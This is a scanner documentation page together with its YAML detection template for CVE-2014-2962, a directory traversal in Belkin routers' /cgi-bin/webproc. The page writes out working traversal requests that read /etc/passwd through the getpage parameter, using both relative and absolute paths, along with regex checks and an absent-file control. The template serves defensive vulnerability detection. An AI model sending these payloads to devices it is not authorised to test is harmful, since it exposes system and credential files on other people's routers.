Belkin — 1 vulnerability check
noctis ships 1 vulnerability check for Belkin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Belkin Router webproc Directory Traversal
| CVE | CVE-2014-2962 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/belkin/CVE-2014-2962.yaml |
Belkin N300/N150 (and other webproc-based) routers let an unauthenticated attacker read arbitrary files through the `getpage` parameter of /cgi-bin/webproc. The test reads /etc/passwd through getpage (relative ../ traversal, then the absolute path) and requires its root line; the same request for an absent file in a random missing directory must then get an HTTP reply without one, so a server that answers every path with the same file is not reported. Read-only; root's password field is redacted from the evidence.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc?getpage=../../../../../../../../../../etc/passwd&var:getpage=html/in… - Checks
rel_resp.bannerfor(?m)^(?:<[^>\r\n]*>)*[ \t]*root:[^:\r\n]*:0:0:([^:\r\n]*:[^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo HTTP/1.0 - Checks
abs_resp.bannerfor(?m)^(?:<[^>\r\n]*>)*[ \t]*root:[^:\r\n]*:0:0:([^:\r\n]*:[^:\r\n]*:[^… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc?getpage=../../../../../../../../../../noctis-absent-{{oob_token}}/et… - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/webproc?getpage=/noctis-absent-{{oob_token}}/etc/passwd&var:page=deviceinfo … - Parses / computes the next value with a Rhai script
- Checks
rel_prooffor^root:<redacted>:0:0:→ finding QoD 75: GET /cgi-bin/webproc?getpage=../../../../../../../../../../etc/passwd returned /etc/passwd (…); the same request for an absent file did not - Checks
abs_prooffor^root:<redacted>:0:0:→ finding QoD 75: GET /cgi-bin/webproc?getpage=/etc/passwd returned /etc/passwd (…); the same request for an absent file did not
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-2962
- https://www.kb.cert.org/vuls/id/774788
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2962.yaml
Feed source — tests/vulnerabilities/belkin/CVE-2014-2962.yaml
# Belkin N300/N150 routers — webproc getpage directory traversal — CVE-2014-2962
#
# Ported from OpenVAS/Greenbone NVT `2015/gb_belkin_router_dir_trav_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.806147, GPL-2.0-only).
#
# The router's `/cgi-bin/webproc` CGI returns the file named by its `getpage`
# parameter without restricting it to the web root, so an unauthenticated GET
# reads any file of the device:
# /cgi-bin/webproc?getpage=../../../../../../../../../../etc/passwd&var:...
#
# Proof (benign, read-only): read the world-readable /etc/passwd exactly as the
# NASL does (`traversal_files("linux")` → pattern `root:.*:0:0`) and require the
# passwd signature in the reply. Nothing is written; no secret is targeted.
#
# Improvements over the NASL (Flo: do better than OpenVAS when possible):
# - No `Server: mini_httpd` banner gate. The same webproc CGI ships in many
# OEM firmwares (Belkin, Mindspeed/Comcerto-based gateways) behind other
# servers or with the Server header stripped/rewritten by a proxy; the gate
# turned those into false negatives. The passwd signature alone is proof.
# - Second payload: the absolute `getpage=/etc/passwd&var:page=deviceinfo`
# form (public PoC / Nuclei), tried only when the NASL's relative `../`
# form fails — covers firmwares that strip `../` but not absolute paths.
# - Stricter signature: a full 7-field passwd line for root at a line start
# (`root:<pw>:0:0:<gecos>:<home>:<shell>`, optionally after HTML tags such
# as `<pre>`), where the NASL's `root:.*:0:0` matches anywhere in the page —
# a page that merely echoes the request or a `root:x:0:0` decoy can't match.
# - No secret in the finding: these firmwares keep root's crypt hash in
# /etc/passwd, so the password field is replaced by `<redacted>` and only
# `root:<redacted>:0:0:<gecos>:<home>:<shell>` is reported (the raw reply
# is matched without `on_match`, so it never reaches the evidence).
# - Absent-file control: after a hit, the same getpage request is sent for
# an absent file (random missing directory, still ending in etc/passwd)
# and the finding is raised only when that control gets an HTTP reply
# without a root passwd line — a server returning passwd for every path
# is not reported (fails closed when the control gets no reply).
# - Raw HTTP/1.0 over `tcp_connect`, so the payload reaches the device
# verbatim on both HTTP and HTTPS.
uid: d1501ec5-5c53-4999-9522-a91340ee4c67
name: "Belkin Router webproc Directory Traversal (CVE-2014-2962)"
description: |
Belkin N300/N150 (and other webproc-based) routers let an unauthenticated
attacker read arbitrary files through the `getpage` parameter of
/cgi-bin/webproc. The test reads /etc/passwd through getpage (relative ../
traversal, then the absolute path) and requires its root line; the same
request for an absent file in a random missing directory must then get an
HTTP reply without one, so a server that answers every path with the same
file is not reported. Read-only; root's password field is redacted from the
evidence.
cves: [CVE-2014-2962]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [belkin, router, iot, path-traversal, lfi, file-read, webproc]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-2962"
- "https://www.kb.cert.org/vuls/id/774788"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2962.yaml"
- "OpenVAS NVT 2015/gb_belkin_router_dir_trav_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.806147)"
steps:
- id: init
action: set_var
var_name: rel_proof
var_value: ""
- id: init-abs
action: set_var
var_name: abs_proof
var_value: ""
# ── NASL payload: relative traversal from the web root ────────────────────
- id: traversal-relative
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/webproc?getpage=../../../../../../../../../../etc/passwd&var:getpage=html/index.html&var:language=en_us&var:oldpage=(null)&var:page=login HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: rel_resp
# No on_match: the raw reply (with root's hash) must not become evidence.
- id: relative-passwd
action: match
source: rel_resp.banner
pattern: "(?m)^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:0:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: rel_m
- id: relative-redact
action: script
code: |
if rel_m.matched && rel_m.captures.len() > 0 {
"root:<redacted>:0:0:" + rel_m.captures[0]
} else { "" }
store_as: rel_proof
# ── Fallback: absolute path (public PoC / Nuclei) ─────────────────────────
- id: traversal-absolute
action: tcp_connect
condition: 'rel_proof == ""'
port: "{{port}}"
send: "GET /cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: abs_resp
- id: absolute-passwd
action: match
condition: 'rel_proof == ""'
source: abs_resp.banner
pattern: "(?m)^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:0:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: abs_m
- id: absolute-redact
action: script
condition: 'rel_proof == ""'
code: |
if abs_m.matched && abs_m.captures.len() > 0 {
"root:<redacted>:0:0:" + abs_m.captures[0]
} else { "" }
store_as: abs_proof
# ── Control: absent file, same request shape as the read that hit ──────
# A random missing directory, still ending in etc/passwd, so a honeypot keyed
# on that name answers it too.
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
- id: control-relative
action: tcp_connect
condition: 'rel_proof != ""'
port: "{{port}}"
send: "GET /cgi-bin/webproc?getpage=../../../../../../../../../../noctis-absent-{{oob_token}}/etc/passwd&var:getpage=html/index.html&var:language=en_us&var:oldpage=(null)&var:page=login HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ctrl_resp
- id: control-absolute
action: tcp_connect
condition: 'rel_proof == "" && abs_proof != ""'
port: "{{port}}"
send: "GET /cgi-bin/webproc?getpage=/noctis-absent-{{oob_token}}/etc/passwd&var:page=deviceinfo HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without a root line.
- id: control-verdict
action: script
condition: 'rel_proof != "" || abs_proof != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("(?m)^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:0:", b)
store_as: ctrl_clean
# ── Findings ────────────────────────────────────────────────────────────
- id: relative-report
action: match
source: rel_proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "GET /cgi-bin/webproc?getpage=../../../../../../../../../../etc/passwd returned /etc/passwd ({{rel_proof}}); the same request for an absent file did not"
stop: true
- id: absolute-report
action: match
source: abs_proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "GET /cgi-bin/webproc?getpage=/etc/passwd returned /etc/passwd ({{abs_proof}}); the same request for an absent file did not"
stop: true